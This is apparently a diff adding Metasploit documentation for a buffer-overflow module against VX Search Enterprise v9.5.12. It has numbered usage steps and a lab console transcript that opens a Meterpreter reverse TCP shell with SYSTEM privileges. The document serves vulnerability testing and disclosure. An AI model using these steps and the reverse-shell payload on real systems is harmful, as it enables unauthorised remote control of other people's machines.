|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +[VX Search Enterprise](www.vxsearch.com) versions up to v9.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [VX Search Enterprise](http://www.vxsearch.com/setups/vxsearchent_setup_v9.5.12.exe). |
| 4 | + |
| 5 | +## Verification Steps |
| 6 | + 1. Install a vulnerable VX Search Enterprise |
| 7 | + 2. Start `VX Search Enterprise` service |
| 8 | + 3. Start `VX Search Enterprise` client application |
| 9 | + 4. Navigate to `Tools` > `VX Search Options` > `Server` |
| 10 | + 5. Check `Enable Web Server On Port 80` to start the web interface |
| 11 | + 6. Start `msfconsole` |
| 12 | + 7. Do `use exploit/windows/http/vxsrchs_bof` |
| 13 | + 8. Do `set RHOST ip` |
| 14 | + 9. Do `check` |
| 15 | + 10. Verify the target is vulnerable |
| 16 | + 11. Do `set PAYLOAD windows/meterpreter/reverse_tcp` |
| 17 | + 12. Do `set LHOST ip` |
| 18 | + 13. Do `exploit` |
| 19 | + 14. Verify the Meterpreter session is opened |
| 20 | + |
| 21 | +## Scenarios |
| 22 | + |
| 23 | +###VX Search Enterprise v9.5.12 on Windows 7 SP1 |
| 24 | + |
| 25 | +``` |
| 26 | +msf exploit(vxsrchs_bof) > show options |
| 27 | +
|
| 28 | +Module options (exploit/windows/http/vxsrchs_bof): |
| 29 | +
|
| 30 | + Name Current Setting Required Description |
| 31 | + ---- --------------- -------- ----------- |
| 32 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 33 | + RHOST 172.16.0.18 yes The target address |
| 34 | + RPORT 80 yes The target port |
| 35 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 36 | + VHOST no HTTP server virtual host |
| 37 | +
|
| 38 | +
|
| 39 | +Payload options (windows/meterpreter/reverse_tcp): |
| 40 | +
|
| 41 | + Name Current Setting Required Description |
| 42 | + ---- --------------- -------- ----------- |
| 43 | + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) |
| 44 | + LHOST 172.16.0.20 yes The listen address |
| 45 | + LPORT 4444 yes The listen port |
| 46 | +
|
| 47 | +
|
| 48 | +Exploit target: |
| 49 | +
|
| 50 | + Id Name |
| 51 | + -- ---- |
| 52 | + 0 VX Search Enterprise v9.5.12 |
| 53 | +
|
| 54 | +
|
| 55 | +msf exploit(vxsrchs_bof) > exploit |
| 56 | +
|
| 57 | +[*] Started reverse TCP handler on 172.16.0.20:4444 |
| 58 | +[*] Sending request... |
| 59 | +[*] Sending stage (958324 bytes) to 172.16.0.18 |
| 60 | +[*] Meterpreter session 1 opened (172.16.0.20:4444 -> 172.16.0.18:49162) at 2017-05-18 16:10:58 +0100 |
| 61 | +
|
| 62 | +meterpreter > getuid |
| 63 | +Server username: NT AUTHORITY\SYSTEM |
| 64 | +meterpreter > sysinfo |
| 65 | +Computer : PC-01 |
| 66 | +OS : Windows 7 (Build 7600). |
| 67 | +Architecture : x86 |
| 68 | +System Language : pt_PT |
| 69 | +Domain : LAB |
| 70 | +Logged On Users : 2 |
| 71 | +Meterpreter : x86/windows |
| 72 | +meterpreter > |
| 73 | +``` |
0 commit comments